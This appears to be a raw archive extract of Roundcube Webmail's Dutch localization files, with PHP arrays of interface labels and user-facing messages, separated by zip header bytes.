$labels['skin'] = 'Interfacestijl';
$labels['logoutclear'] = 'Prullenbak legen bij uitloggen';
$labels['logoutcompact'] = 'Postvak In opschonen bij uitloggen';
$labels['uisettings'] = 'Gebruikersinterface';
$labels['serversettings'] = 'Serverinstellingen';
$labels['mailboxview'] = 'Mailboxweergave';
$labels['mdnrequests'] = 'Ontvangstmeldingen';
$labels['askuser'] = 'altijd aan mij vragen';
$labels['autosend'] = 'stuur automatisch';
$labels['autosendknown'] = 'stuur automatisch naar mijn contactpersonen,  anders vragen';
$labels['autosendknownignore'] = 'stuur automatisch naar mijn contactpersonen,  anders negeren';
$labels['ignorerequest'] = 'negeer verzoek';
$labels['readwhendeleted'] = 'Bericht na verwijderen als gelezen markeren';
$labels['flagfordeletion'] = 'Bericht niet verwijderen maar als \'te verwijderen\' markeren';
$labels['skipdeleted'] = 'Verwijderde berichten niet tonen';
$labels['deletealways'] = 'Verwijder bericht wanneer verplaatsen naar Prullenbak mislukt';
$labels['deletejunk'] = 'Verwijder direct berichten in Spam';
$labels['showremoteimages'] = 'Externe afbeeldingen weergeven';
$labels['allowremoteresources'] = 'Externe bronnen toestaan (afbeeldingen, stijlen)';
$labels['fromknownsenders'] = 'van bekende afzenders';
$labels['fromtrustedsenders'] = 'van vertrouwde afzenders';
$labels['frommycontacts'] = 'van mijn contactpersonen';
$labels['always'] = 'altijd';
$labels['alwaysbutplain'] = 'altijd, behalve bij antwoord in tekst zonder opmaak';
$labels['showinlineimages'] = 'Bijgevoegde afbeeldingen onder het bericht weergeven';
$labels['autosavedraft'] = 'Concept automatisch opslaan';
$labels['everynminutes'] = 'iedere $n minuten';
$labels['refreshinterval'] = 'Vernieuwen (controleer op nieuwe berichten, etc.)';
$labels['never'] = 'nooit';
$labels['immediately'] = 'onmiddellijk';
$labels['messagesdisplaying'] = 'Berichtenweergave';
$labels['messagescomposition'] = 'Berichten opstellen';
$labels['mimeparamfolding'] = 'Namen van bijlagen';
$labels['2231folding'] = 'Volledig RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Volledig RFC 2047 (andere)';
$labels['force7bit'] = 'Gebruik MIME-codering voor 8-bit karakters';
$labels['savelocalstorage'] = "Opslaan in de lokale opslag van de browser (tijdelijk)";
$labels['advancedoptions'] = 'Geavanceerde opties';
$labels['toggleadvancedoptions'] = 'Geavanceerde opties inschakelen';
$labels['focusonnewmessage'] = 'Focus browserscherm bij nieuw bericht';
$labels['checkallfolders'] = 'In alle mappen op nieuwe berichten controleren';
$labels['displaynext'] = 'Laat volgende item in lijst zien na wissen/verplaatsen';
$labels['defaultfont'] = 'Standaardlettertype voor HTML-berichten';
$labels['mainoptions'] = 'Hoofdopties';
$labels['browseroptions'] = 'Browserinstellingen';
$labels['section'] = 'Sectie';
$labels['maintenance'] = 'Onderhoud';
$labels['newmessage'] = 'Nieuw bericht';
$labels['signatureoptions'] = 'Instellingen voor ondertekening';
$labels['whenreplying'] = 'Bij antwoorden';
$labels['replyempty'] = 'het oorspronkelijke bericht niet citeren';
$labels['replytopposting'] = 'begin bericht boven het origineel';
$labels['replytoppostingnoindent'] = 'begin nieuw bericht boven het origineel (geen inspringing)';
$labels['replybottomposting'] = 'begin bericht onder het origineel';
$labels['replyremovesignature'] = 'Verwijder oorspronkelijke ondertekening van bericht bij beantwoorden';
$labels['autoaddsignature'] = 'Ondertekening automatisch toevoegen';
$labels['newmessageonly'] = 'alleen bij nieuwe berichten';
$labels['replyandforwardonly'] = 'alleen bij antwoorden en doorsturen';
$labels['insertsignature'] = 'Ondertekening invoegen';
$labels['sigbelow'] = 'Plaats ondertekening onder het geciteerde bericht';
$labels['sigseparator'] = 'Forceer standaard scheidingsteken in ondertekeningen';
$labels['automarkread'] = 'Markeer berichten als gelezen';
$labels['afternseconds'] = 'na $n seconden';
$labels['reqmdn'] = 'Vraag altijd een ontvangstbevestiging';
$labels['reqdsn'] = 'Vraag altijd om een afleveringsbericht';
$labels['replysamefolder'] = 'Bewaar reacties in de map van het beantwoorde bericht';
$labels['defaultabook'] = 'Standaard adresboek';
$labels['autocompletesingle'] = 'Alternatieve e-mailadressen niet gebruiken bij automatisch aanvullen';
$labels['listnamedisplay'] = 'Contactpersonen weergeven als';
$labels['privatemode'] = 'Privé (Thuis)';
$labels['businessmode'] = 'Bedrijf (Werk)';
$labels['collectedaddresses'] = 'Verzamelde adressen';
$labels['collectedrecipients'] = 'Verzamelde ontvangers';
$labels['collectedrecipientsopt'] = 'Bewaar uitgaande ontvangers in';
$labels['collectedsendersopt'] = 'Bewaar vertrouwde afzenders in';
$labels['trustedsenders'] = 'Vertrouwde Afzenders';
$labels['spellcheckbeforesend'] = 'Controleer spelling voor het versturen van een bericht';
$labels['spellcheckoptions'] = 'Instellingen spellingscontrole';
$labels['spellcheckignoresyms'] = 'Negeer woorden met symbolen';
$labels['spellcheckignorenums'] = 'Negeer woorden met cijfers';
$labels['spellcheckignorecaps'] = 'Negeer woorden welke volledig uit hoofdletters bestaan';
$labels['addtodict'] = 'Voeg toe aan woordenboek';
$labels['mailtoprotohandler'] = 'Registreer protocolhandler voor mailto: links';
$labels['standardwindows'] = 'Behandel pop-ups als normale vensters';
$labels['forwardmode'] = 'Berichten doorsturen';
$labels['inline'] = 'invoegen';
$labels['asattachment'] = 'als bijlage';
$labels['replyallmode'] = 'Standaardactie van [Beantwoord iedereen]-knop';
$labels['replyalldefault'] = 'iedereen beantwoorden';
$labels['replyalllist'] = 'alleen maillijst beantwoorden (indien gevonden)';
$labels['allmessages'] = 'alle berichten';
$labels['olderxdays'] = 'ouder dan $x dagen';
$labels['folder'] = 'Map';
$labels['folders'] = 'Mappen';
$labels['foldername'] = 'Mapnaam';
$labels['subscribed'] = 'Geabonneerd';
$labels['messagecount'] = 'Berichten';
$labels['create'] = 'Nieuw';
$labels['createfolder'] = 'Nieuwe map maken';
$labels['managefolders'] = 'Beheer mappen';
$labels['specialfolders'] = 'Speciale mappen';
$labels['properties'] = 'Eigenschappen';
$labels['folderproperties'] = 'Mapeigenschappen';
$labels['parentfolder'] = 'Bovenliggende map';
$labels['location'] = 'Locatie';
$labels['info'] = 'Informatie';
$labels['getfoldersize'] = 'Klik om de omvang van de map te berekenen';
$labels['changesubscription'] = 'Klik om abonnering te wijzigen';
$labels['foldertype'] = 'Maptype';
$labels['personalfolder'] = 'Privémap';
$labels['otherfolder'] = 'Map van andere gebruiker';
$labels['sharedfolder'] = 'Publieke map';
$labels['findfolders'] = 'Zoek mappen';
$labels['findcontacts'] = 'Zoek contactpersonen';
$labels['findmail'] = 'Zoek berichten';
$labels['namespace.personal'] = 'Persoonlijk';
$labels['namespace.other'] = 'Andere gebruikers';
$labels['namespace.shared'] = 'Gedeeld';
$labels['dualuselabel'] = 'Bevat alleen';
$labels['dualusemail'] = 'berichten';
$labels['dualusefolder'] = 'mappen';
$labels['generate'] = 'Aanmaken';
$labels['encryptioncreatekey'] = 'Maak een nieuw sleutelpaar aan';
$labels['openmailvelopesettings'] = 'open Mailvelope Instellingen';
$labels['encryptionprivkeysinmailvelope'] = 'U heeft $nr overeenkomende privésleutels opgeslagen in Mailvelope';
$labels['encryptionnoprivkeysinmailvelope'] = 'Deze afzender zijn indentiteit heeft (nog) geen PGP-privésleutels opgeslagen in uw Mailvelope extensie. Wilt u deze aanmaken om versleuteling van berichten in te kunnen schakelen?';
$labels['encryption'] = 'Versleuteling';
$labels['sortby'] = 'Sorteer op';
$labels['sortasc'] = 'Sorteer oplopend';
$labels['sortdesc'] = 'Sorteer aflopend';
$labels['undo'] = 'Ongedaan maken';
$labels['installedplugins'] = 'Geïnstalleerde plug-ins';
$labels['plugin'] = 'Invoegtoepassing';
$labels['version'] = 'Versie';
$labels['source'] = 'Broncode';
$labels['destination'] = 'Bestemming';
$labels['license'] = 'Licentie';
$labels['support'] = 'Hulp nodig?';
$labels['savedsearches'] = 'Opgeslagen zoekacties';
$labels['dateformatY'] = 'JJJJ';
$labels['dateformaty'] = 'JJ';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Engels';
$labels['westerneuropean'] = 'West-Europees';
$labels['easterneuropean'] = 'Oost-Europees';
$labels['southeasterneuropean'] = 'Zuidoost Europees';
$labels['baltic'] = 'Baltisch';
$labels['cyrillic'] = 'Cyrillisch';
$labels['arabic'] = 'Arabisch';
$labels['greek'] = 'Grieks';
$labels['hebrew'] = 'Hebreeuws';
$labels['turkish'] = 'Turks';
$labels['nordic'] = 'Noord-Germaans';
$labels['thai'] = 'Thais';
$labels['celtic'] = 'Keltisch';
$labels['vietnamese'] = 'Vietnamees';
$labels['japanese'] = 'Japans';
$labels['korean'] = 'Koreaans';
$labels['chinese'] = 'Chinees';
$labels['arialabeltopnav'] = 'Vensterinstellingen';
$labels['arialabeltasknav'] = 'Applicatietaken';
$labels['arialabeltoolbar'] = 'Applicatiewerkbalk';
$labels['arialabellistnav'] = 'Lijst navigatie';
$labels['arialabelactivetask'] = 'Actieve taak';
$labels['arialabelmessagessearchfilter'] = 'Filter voor e-maillijst';
$labels['arialabelmailsearchform'] = 'Formulier voor berichten zoeken';
$labels['arialabelcontactsearchform'] = 'Zoekformulier voor contacten';
$labels['arialabelmailquicksearchbox'] = 'Zoekinvoer voor e-mail';
$labels['arialabelquicksearchbox'] = 'Zoekinvoer';
$labels['arialabelfoldersearchfilter'] = 'Zoekfilter voor mappenlijst';
$labels['arialabelfoldersearchform'] = 'Zoekformulier voor mappen';
$labels['arialabelfolderlist'] = 'Selectie van e-mailmap';
$labels['arialabelmessagelist'] = 'Lijst van e-mailberichten';
$labels['arialabelmailpreviewframe'] = 'Berichtweergave';
$labels['arialabelmailboxmenu'] = 'Menu voor mapacties';
$labels['arialabellistselectmenu'] = 'Menu voor lijstselectie';
$labels['arialabelthreadselectmenu'] = 'Menu voor conversatie-overzicht';
$labels['arialabelmessagelistoptions'] = 'Weergave- en sorteeropties voor berichtenlijst';
$labels['arialabelmailimportdialog'] = 'Dialoogvenster voor berichten importeren';
$labels['arialabelmessagenav'] = 'Berichtnavigatie';
$labels['arialabelmessagebody'] = 'Berichtinhoud';
$labels['arialabelmessageactions'] = 'Berichtacties';
$labels['arialabelcontactquicksearch'] = 'Zoekformulier voor contacten';
$labels['arialabelcontactsearchbox'] = 'Zoekinvoer voor contacten';
$labels['arialabelmessageheaders'] = 'Berichtheaders';
$labels['arialabelforwardingoptions'] = 'Opties voor doorsturen';
$labels['arialabelreplyalloptions'] = 'Opties voor iedereen beantwoorden';
$labels['arialabelmoremessageactions'] = 'Meer berichtacties';
$labels['arialabelmorecontactactions'] = 'Meer contacten acties';
$labels['arialabelmarkmessagesas'] = 'Geselecteerde berichten markeren als...';
$labels['arialabelcomposeoptions'] = 'Opties voor opstellen';
$labels['arialabelresponsesmenu'] = 'Menu voor standaardreacties';
$labels['arialabelattachmentuploadform'] = 'Uploadformulier voor bijlagen';
$labels['arialabelattachmentmenu'] = 'Opties voor bijlagen';
$labels['arialabelmailtomenu'] = 'opties voor email adressen';
$labels['arialabelattachmentpreview'] = 'Voorbeeldweergave van bijlagen';
$labels['ariasummarycomposecontacts'] = 'Lijst van contacten en groepen om als ontvanger te selecteren';
$labels['arialabelcontactexportoptions'] = 'Opties voor contacten exporteren';
$labels['arialabelabookgroupoptions'] = 'Adresboek-/groepopties';
$labels['arialabelpreferencesform'] = 'Formulier voor instellingen';
$labels['arialabelidentityeditfrom'] = 'Formulier voor identiteit bewerken';
$labels['arialabelresponseeditfrom'] = 'Formulier voor bewerken antwoord';
$labels['arialabelsearchterms'] = 'Zoekwoorden';
$labels['arialabeldropactionmenu'] = 'Sleep actie menu';
$labels['arialabelheadersmenu'] = 'Ontvanger (header) toevoegen menu';
$labels['arialabelimagetools'] = 'Afbeelding opties';
$labels['helplistnavigation'] = 'Overzicht met sneltoetsen';
$labels['helplistkeyboardnavigation'] = "Pijl omhoog/omlaag: Verander actieve rij of selectie.
Spatiebalk: Selecteer actieve rij.
Shift + omhoog/omlaag: Selecteer aanvullende rij boven/onder.
Ctrl + spatiebalk: Voeg actieve rij toe aan selectie of verwijder van selectie.";
$labels['helplistkeyboardnavmessages'] = "Pijl links/rechts: conversaties in- of uitklappen (alleen in conversatiemodus).
Enter: Open geselecteerd of actief bericht.
Delete: Verwijder geselecteerde berichten naar Prullenbak.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Open geselecteerd of actief contact.";
PK
h�\k�i[F[F'program/localization/nl_NL/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Er is een fout opgetreden!';
$messages['loginfailed']  = 'Aanmelden mislukt.';
$messages['cookiesdisabled'] = 'Uw browser accepteert geen cookies.';
$messages['sessionerror'] = 'Uw sessie is verlopen of ongeldig.';
$messages['cookiesmismatch'] = 'Cookie komt niet overeen, verwijder de cookies van uw browser.';
$messages['storageerror'] = 'Verbinding met IMAP-server mislukt.';
$messages['servererror'] = 'Serverfout!';
$messages['servererrormsg'] = 'Serverfout: $msg';
$messages['accountlocked'] = 'Te veel mislukte inlogpogingen. Probeer het later nogmaals.';
$messages['connerror'] = 'Verbindingsfout! (Kon de server niet bereiken)';
$messages['dberror'] = 'Databasefout!';
$messages['dbconnerror'] = 'Kan geen verbinding maken met de database!';
$messages['windowopenerror'] = 'Het popup-venster werd geblokkeerd!';
$messages['requesttimedout'] = 'Verzoek duurde te lang';
$messages['errorreadonly'] = 'De bewerking kan niet uitgevoerd worden. Map is alleen-lezen.';
$messages['errornoperm'] = 'Niet in staat om de bewerking uit te voeren. Toestemming geweigerd.';
$messages['erroroverquota'] = 'Niet in staat om de bewerking uit te voeren. Onvoldoende vrije opslagruimte.';
$messages['erroroverquotadelete'] = 'Onvoldoende vrije opslagruimte. Gebruik Shift+Del om een bericht te verwijderen.';
$messages['invalidrequest'] = 'Ongeldige aanvraag! Er zijn geen gegevens opgeslagen.';
$messages['invalidhost'] = 'Ongeldige servernaam.';
$messages['nomessagesfound'] = 'Geen berichten gevonden in deze mailbox.';
$messages['loggedout'] = 'Succesvol uitgelogd. Tot ziens!';
$messages['mailboxempty'] = 'Mailbox is leeg';
$messages['nomessages'] = 'Geen berichten';
$messages['refreshing'] = 'Vernieuwen...';
$messages['loading'] = 'Laden...';
$messages['uploading'] = 'Bestand wordt geüpload...';
$messages['attaching'] = 'Bestand aan het toevoegen...';
$messages['uploadingmany'] = 'Bestanden worden geüpload...';
$messages['loadingdata'] = 'Gegevens worden geladen...';
$messages['checkingmail'] = 'Controleren op nieuwe berichten...';
$messages['sendingmessage'] = 'Bericht wordt verstuurd...';
$messages['messagesent'] = 'Bericht succesvol verstuurd.';
$messages['savingmessage'] = 'Bericht wordt opgeslagen...';
$messages['messagesaved'] = 'Bericht opgeslagen in Concepten.';
$messages['successfullysaved'] = 'Succesvol opgeslagen.';
$messages['savingresponse'] = 'Reactie wordt opgeslagen...';
$messages['deleteresponseconfirm'] = 'Weet u zeker dat u deze reactie wilt verwijderen?';
$messages['nocontactselected'] = 'U heeft nog geen contactpersoon geselecteerd.';
$messages['addedsuccessfully'] = 'Contactpersoon succesvol toegevoegd aan het adresboek.';
$messages['contactexists'] = 'Er bestaat al een contactpersoon met hetzelfde e-mailadres.';
$messages['contactnameexists'] = 'Er bestaat al een contactpersoon met deze naam.';
$messages['blockedimages'] = 'Om uw privacy te beschermen zijn externe afbeeldingen geblokkeerd in dit bericht.';
$messages['blockedresources'] = 'Om uw privacy te beschermen zijn externe afbeeldingen geblokkeerd in dit bericht.';
$messages['encryptedmessage'] = 'Dit is een versleuteld bericht en kan niet weergegeven worden. Excuses!';
$messages['externalmessagedecryption'] = 'Dit is een versleuteld bericht en kan ontsleuteld worden met uw browserextensie.';
$messages['nopubkeyfor'] = 'Geen geldige publieke sleutel gevonden voor $email';
$messages['nopubkeyforsender'] = 'Geen geldige publieke sleutel gevonden voor uw afzenderidentiteit. Wilt u het bericht alleen voor de ontvangers versleutelen?';
$messages['encryptnoattachments'] = 'Al geüploade bijlagen kunnen niet worden versleuteld. Voeg ze alstublieft opnieuw toe aan de versleutelingsbewerker.';
$messages['searchpubkeyservers'] = 'Wilt u publieke sleutelservers doorzoeken voor de missende sleutels?';
$messages['encryptpubkeysfound'] = 'The volgende publieke sleutels zijn gevonden:';
$messages['keyservererror'] = 'Sleutel van keyserver ophalen is mislukt.';
$messages['keyimportsuccess'] = 'Publieke sleutel $key succesvol geïmporteerd in uw sleutelhanger.';
$messages['nocontactsfound'] = 'Geen contactpersonen gevonden.';
$messages['contactnotfound'] = 'Opgevraagde contactpersoon niet gevonden.';
$messages['contactsearchonly'] = 'Voer enkele zoektermen in om contactpersonen te zoeken van het geselecteerde adresboek.';
$messages['sendingfailed'] = 'Verzenden van bericht is mislukt.';
$messages['senttooquickly'] = 'Wacht alstublieft $sec seconde(n) voordat u dit bericht verstuurt.';
$messages['errorsavingsent'] = 'Er is een fout opgetreden tijdens het opslaan van het verzonden bericht.';
$messages['errorsaving'] = 'Er is een fout opgetreden tijdens het opslaan.';
$messages['errormoving'] = 'Kan bericht(en) niet verplaatsen.';
$messages['errorcopying'] = 'Kan bericht(en) niet kopiëren.';
$messages['errordeleting'] = 'Kan bericht(en) niet verwijderen.';
$messages['errormarking'] = 'Kan bericht(en) niet markeren.';
$messages['alerttitle'] = 'Let op';
$messages['confirmationtitle'] = 'Weet u zeker...';
$messages['deletecontactconfirm']  = 'Weet u zeker dat u de geselecteerde contact(en) wilt verwijderen?';
$messages['deletegroupconfirm']  = 'Weet u zeker dat u de geselecteerde groep wilt verwijderen?';
$messages['deletemessagesconfirm'] = 'Weet u zeker dat u de geselecteerde bericht(en) wilt verwijderen?';
$messages['deletefolderconfirm']  = 'Weet u zeker dat u deze map wilt verwijderen?';
$messages['movefolderconfirm']  = 'Wilt u deze map echt verplaatsen?';
$messages['purgefolderconfirm']  = 'Weet u zeker dat u alle berichten in deze map wilt verwijderen?';
$messages['contactdeleting'] = 'Bezig met verwijderen van contact(en)...';
$messages['groupdeleting'] = 'Groep wordt verwijderd...';
$messages['folderdeleting'] = 'Map wordt verwijderd...';
$messages['foldermoving'] = 'Map wordt verplaatst...';
$messages['foldersubscribing'] = 'Bezig met abonneren op map...';
$messages['folderunsubscribing'] = 'Abonnement op map wordt opgezegd...';
$messages['formincomplete'] = 'Het formulier was niet volledig ingevuld.';
$messages['noemailwarning'] = 'Geef een geldig e-mailadres op.';
$messages['nonamewarning']  = 'Vul een naam in.';
$messages['nopagesizewarning'] = 'Geef een paginagrootte op.';
$messages['nosenderwarning'] = 'Voer een e-mailadres van de afzender in.';
$messages['recipientsadded'] = 'Ontvanger(s) succesvol toegevoegd.';
$messages['norecipientwarning'] = 'Geef tenminste één ontvanger op.';
$messages['disclosedrecipwarning'] = 'Ontvangers zien alle e-mail adressen. Gebruik het Bcc veld om de privacy van anderen te beschermen.';
$messages['disclosedreciptitle'] = 'Te veel publiek ontvangers';
$messages['nosubjectwarning']  = 'U heeft geen onderwerp ingevoerd. Wilt u nu een onderwerp opgeven?';
$messages['nosubjecttitle']  = 'Geen onderwerp';
$messages['nobodywarning'] = 'Dit bericht zonder inhoud versturen?';
$messages['notsentwarning'] = 'Het bericht is niet verzonden of opgeslagen. Wilt u wijzigen verwerpen?';
$messages['restoresavedcomposedata'] = 'Eerder opgesteld, maar niet-verzonden bericht gevonden.\n\nOnderwerp: $subject\nOpgeslagen: $date\n\nWilt u dit bericht herstellen?';
$messages['nosearchname'] = 'Vul de naam of e-mailadres in van een contactpersoon.';
$messages['notuploadedwarning'] = 'Nog niet alle bijlagen zijn geüpload. Wacht even of annuleer de upload.';
$messages['searchsuccessful'] = '$nr berichten gevonden.';
$messages['contactsearchsuccessful'] = '$nr contactpersonen gevonden.';
$messages['searchnomatch'] = 'Zoekopdracht heeft geen resultaten opgeleverd.';
$messages['searching'] = 'Zoeken...';
$messages['checking'] = 'Controleren...';
$messages['stillsearching'] = 'Nog aan het zoeken...';
$messages['nospellerrors'] = 'Geen spelfouten gevonden.';
$messages['folderdeleted'] = 'Map succesvol verwijderd.';
$messages['foldersubscribed'] = 'Succesvol geabonneerd op map.';
$messages['folderunsubscribed'] = 'Abonnement op map succesvol opgezegd.';
$messages['folderpurged'] = 'Map succesvol geleegd.';
$messages['deletedsuccessfully'] = 'Met succes verwijderd.';
$messages['converting'] = 'Opmaak van bericht verwijderen...';
$messages['messageopenerror'] = 'Kan het bericht niet van de server laden.';
$messages['filelinkerror'] = 'Bestand toevoegen mislukt.';
$messages['fileuploaderror'] = 'Bestand uploaden mislukt.';
$messages['csvfilemismatch'] = 'Importeren van meerdere CSV-bestanden met verschillende velden wordt niet ondersteund.';
$messages['filesizeerror'] = 'Het bestand overschrijdt de maximale grootte van $size.';
$messages['filecounterror'] = 'Je kan maximaal $count bestanden uploaden per keer.';
$messages['msgsizeerror'] = 'Bestand toevoegen als bijlage mislukt. Maximale grootte van een bericht ($size) overschreden.';
$messages['msgsizeerrorfwd'] = 'De maximale grootte van een bericht ($size) is overschreden. $num bericht(en) zijn niet bijgevoegd. ';
$messages['copysuccess'] = '$nr contactpersonen succesvol gekopieerd.';
$messages['movesuccess'] = '$nr contactpersonen succesvol verplaatst.';
$messages['copyerror'] = 'Kon geen contactpersoon kopieren.';
$messages['moveerror'] = 'Kon geen contactpersoon verplaatsen.';
$messages['sourceisreadonly'] = 'Deze adresbron is alleen-lezen.';
$messages['errorsavingcontact'] = 'Kan contactpersoon niet opslaan.';
$messages['movingmessage'] = 'Bericht(en) verplaatsen...';
$messages['copyingmessage'] = 'Bericht(en) kopiëren...';
$messages['copyingcontact'] = 'Contact(en) kopiëren...';
$messages['movingcontact'] = 'Contact(en) verplaatsen...';
$messages['deletingmessage'] = 'Bericht(en) verwijderen...';
$messages['markingmessage'] = 'Bericht(en) markeren...';
$messages['addingmember'] = 'Contactpersonen worden toegevoegd aan groep...';
$messages['removingmember'] = 'Contactpersonen worden verwijderd uit groep...';
$messages['receiptsent'] = 'Ontvangstbevestiging is verstuurd.';
$messages['errorsendingreceipt'] = 'Kan de ontvangstbevestiging niet versturen.';
$messages['deleteidentityconfirm'] = 'Weet u zeker dat u deze identiteit wilt verwijderen?';
$messages['nodeletelastidentity'] = 'U kunt uw enige identiteit niet verwijderen.';
$messages['forbiddencharacter'] = 'De naam van de map bevat een karakter dat niet is toegestaan.';
$messages['selectimportfile'] = 'Selecteer een bestand om te uploaden.';
$messages['addresswriterror'] = 'Het geselecteerde adresboek is alleen-lezen.';
$messages['contactaddedtogroup'] = 'Contact(en) met succes toegevoegd aan deze groep.';
$messages['contactremovedfromgroup'] = 'Contact(en) met succes verwijderd van deze groep.';
$messages['nogroupassignmentschanged'] = 'Geen groepstoewijzingen aangepast.';
$messages['importwait'] = 'Importeren, even geduld...';
$messages['importformaterror'] = 'Importeren mislukt! Het geüploade bestand is geen geldig importbestand.';
$messages['importconfirm'] = '<b>$inserted contactpersonen succesvol geïmporteerd</b>';
$messages['importconfirmskipped'] = '<b>$skipped bestaande contactpersonen overgeslagen</b>';
$messages['importmessagesuccess'] = '$nr berichten succesvol geïmporteerd';
$messages['importmessageerror'] = 'Importeren mislukt! Het verstuurde bestand is geen geldig bericht of mailboxbestand';
$messages['opnotpermitted'] = 'Deze bewerking is niet toegestaan!';
$messages['nofromaddress'] = 'E-mailadres ontbreekt in geselecteerde identiteit.';
$messages['editorwarning'] = 'Door te wisselen van type tekstverwerker kan er opmaak verloren gaan. Weet u zeker dat u verder wilt gaan?';
$messages['httpreceivedencrypterror'] = 'Er is een onherstelbare configuratiefout opgetreden. Neem direct contact op met uw systeembeheerder. <b>Uw bericht kon niet worden verzonden.</b>';
$messages['smtpconnerror'] = 'SMTP-fout ($code): Verbinding met server mislukt.';
$messages['smtpautherror'] = 'SMTP-fout ($code): Authenticatie mislukt.';
$messages['smtpfromerror'] = 'SMTP-fout ($code): Afzender "$from" kan niet ingesteld worden ($msg).';
$messages['smtptoerror'] = 'SMTP-fout ($code): Ontvanger "$to" kan niet toegevoegd worden ($msg).';
$messages['smtprecipientserror'] = 'SMTP-fout: Lijst met ontvangers kan niet verwerkt worden.';
$messages['smtputf8error'] = 'SMTP-fout: server ondersteunt geen Unicode in het e-mailadres.';
$messages['smtpsizeerror'] = 'SMTP-fout: berichtgrootte overschrijdt de serverlimit ($limit)';
$messages['smtperror'] = 'SMTP-fout: $msg';
$messages['emailformaterror'] = 'Ongeldig e-mailadres: $email';
$messages['toomanyrecipients'] = 'Te veel ontvangers. Reduceer het aantal ontvangers tot $max.';
$messages['maxgroupmembersreached'] = 'Het aantal groepsleden overschrijdt het maximale aantal van $max.';
$messages['internalerror'] = 'Er is een interne fout opgetreden. Probeer het nogmaals.';
$messages['contactdelerror'] = 'Contact(en) konden niet verwijderd worden.';
$messages['contactdeleted'] = 'Contact(en) succesvol verwijderd.';
$messages['contactrestoreerror'] = 'Verwijderde contact(en) konden niet hersteld worden.';
$messages['contactrestored'] = 'Contact(en) succesvol hersteld.';
$messages['groupdeleted'] = 'Groep succesvol verwijderd.';
$messages['grouprenamed'] = 'Groep succesvol hernoemd.';
$messages['groupcreated'] = 'Groep succesvol aangemaakt.';
$messages['savedsearchdeleted'] = 'Opgeslagen zoekopdracht succesvol verwijderd.';
$messages['savedsearchdeleteerror'] = 'Opgeslagen zoekopdracht kon niet worden verwijderd.';
$messages['savedsearchcreated'] = 'Zoekopdracht succesvol opgeslagen.';
$messages['savedsearchcreateerror'] = 'Zoekopdracht kon niet worden opgeslagen.';
$messages['messagedeleted'] = 'Bericht(en) succesvol verwijderd.';
$messages['messagemoved'] = 'Bericht(en) succesvol verplaatst.';
$messages['messagemovedtotrash'] = 'Bericht(en) succesvol verplaatst naar de prullenbak.';
$messages['messagecopied'] = 'Bericht(en) succesvol gekopieerd.';
$messages['messagemarked'] = 'Bericht(en) succesvol gemarkeerd.';
$messages['autocompletechars'] = 'Voer tenminste $min karakters in voor automatisch aanvullen.';
$messages['autocompletemore'] = 'Meerdere resultaten gevonden. Verfijn uw zoekopdracht.';
$messages['namecannotbeempty'] = 'Naam kan niet leeg zijn.';
$messages['nametoolong'] = 'Naam is te lang.';
$messages['namedotforbidden'] = 'Mapnaam kan niet met een punt beginnen.';
$messages['folderupdated'] = 'Map succesvol bijgewerkt.';
$messages['foldercreated'] = 'Map succesvol aangemaakt.';
$messages['invalidimageformat'] = 'Geen geldig afbeeldingsformaat.';
$messages['mispellingsfound'] = 'Spelfouten gedetecteerd in bericht.';
$messages['parentnotwritable'] = 'Niet in staat om map aan te maken of verplaatsen in gekozen bovenliggende map. U heeft geen toegangsrechten.';
$messages['messagetoobig'] = 'Het bericht is te groot om te verwerken.';
$messages['attachmentvalidationerror'] = 'WAARSCHUWING! Deze bijlage is verdacht omdat het bestandstype niet overeenkomt met het bestandstype dat gespecificeerd is in het bericht. Open deze bijlage niet in uw browser als u de afzender niet vertrouwt, aangezien deze bijlage kwaadaardige inhoud kan bevatten.
Verwacht: $expected; gevonden: $detected';
$messages['noscriptwarning'] = 'Waarschuwing: deze webmailapplicatie vereist Javascript! U dient Javascript in te schakelen in uw browserinstellingen wanneer u gebruik wilt maken van deze applicatie.';
$messages['messageissent'] = 'Het bericht was al verzonden, maar nog niet opgeslagen. Wilt u het nu opslaan?';
$messages['errnotfound'] = 'Bestand niet gevonden';
$messages['errnotfoundexplain'] = 'De opgevraagde bron werd niet gevonden!';
$messages['errfailedrequest'] = 'Mislukt verzoek';
$messages['errauthorizationfailed'] = 'Autoriseren mislukt';
$messages['errunauthorizedexplain'] = 'Kon niet verifiëren dat u geautoriseerd bent voor toegang tot deze dienst!';
$messages['errrequestcheckfailed'] = 'Controle verzoek mislukt';
$messages['errcsrfprotectionexplain'] = "Om u te beschermen, is toegang tot deze bron beveiligd tegen CSRF.\nWanneer u dit ziet, heeft u waarschijnlijk niet uitgelogd voordat u de webapplicatie verliet.\n\nMenselijke interactie is nu vereist om door te gaan.";
$messages['errcontactserveradmin'] = 'Neem alstublieft contact op met uw systeembeheerder.';
$messages['clicktoresumesession'] = 'Klik hier om uw vorige sessie te hervatten';
$messages['errcomposesession'] = 'Sessie opstellen fout';
$messages['errcomposesessionexplain'] = 'Opgevraagde opstellingsessie niet gevonden.';
$messages['clicktocompose'] = 'Klik hier om een nieuw bericht op te stellen';
$messages['nosupporterror'] = 'Deze eigenschap wordt niet ondersteund door uw webbrowser.';
$messages['siginserted'] = 'Handtekening succesvol toegevoegd.';
$messages['responseinserted'] = 'Antwoord succesvol ingevoegd.';
$messages['noresponsesavailable'] = 'Geen antwoorden beschikbaar';
$messages['listempty'] = 'De lijst is leeg.';
$messages['listusebutton'] = 'Gebruik de Nieuw knop om een nieuwe record toe te voegen.';
$messages['keypaircreatesuccess'] = 'Aan nieuw sleutelpaar werd met succes aangemaakt voor de identiteit $identity.';
$messages['emptyattachment'] = 'Deze bijlage lijkt leeg te zijn.<br>Check het met de persoon die dit verzonden heeft.';
$messages['oauthloginfailed'] = 'OAuth login is mislukt. Probeer het opnieuw.';
PK
